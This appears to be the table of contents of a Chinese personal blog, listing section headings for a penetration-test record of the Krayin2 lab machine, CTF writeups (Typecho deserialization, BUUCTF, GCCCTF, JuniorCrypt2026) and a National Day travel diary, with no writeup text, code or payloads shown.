Clairis's Blog

Krayin2 靶机渗透记录

Krayin2

一、信息收集

二、管理员账号接管

三、后台邮件附件任意文件上传

漏洞原理

四、查询flag位置

五、读取 User Flag

六、提权

国庆出游记录

前言

行程梳理

10.2——天津蓟州

10.3——去沈阳

10.4——本溪

10.5——营口

10.6——营口到长白山

10.7——长白山、回沈阳

总结

致谢

十月每日一题

[陇剑杯 2021]简单日志分析（问1）

[长城杯 2021 院校组]签到

[GWCTF 2019]babyRSA

EXP

GCCCTF的WP

Web

PHP签到

Misc

计小鸡的秘密

ezmisc

eztalk

Typecho install.php 反序列化漏洞 Writeup

题目信息

漏洞概述

漏洞分析

1. 漏洞点定位

2. CSRF 检查绕过

3. Cookie 编码注意事项

4. Gadget Chain（利用链）

详细步骤：

漏洞利用

Payload 结构

利用步骤

浏览器 Console 执行

利用结果

关键问题与解决

总结

BUUCTF新手村题单

Misc

01金三胖

02二维码

03N种方法解决

04大白

05你竟然赶我走

Web

06[极客大挑战 2019]Havefun

07[极客大挑战 2019]EasySQL

构造Payload

原理分析

08[HCTF 2018]WarmUp

09[ACTF2020 新生赛]Include

使用 php://filter

Payload含义

10 [ACTF2020 新生赛]Exec

Reverse

11easyre

12reverse1

13reverse2

最终提交

Crypto

14看我回旋踢

15Quoted-printable

16变异凯撒

JuniorCrypt2026的WP

Misc

1000-7

题目描述

解题思路

使用 `php://filter`

`Misc`

`1.Inception`

`2.Easy`

`3.Chromatic`

`EXP`

`Misc`

1.`Digital Rockstar`

2.`The Invoice Incident`

3.`wrong_turn`

`OSINT`

`Can_you_Find_Cafe`

`Forensics`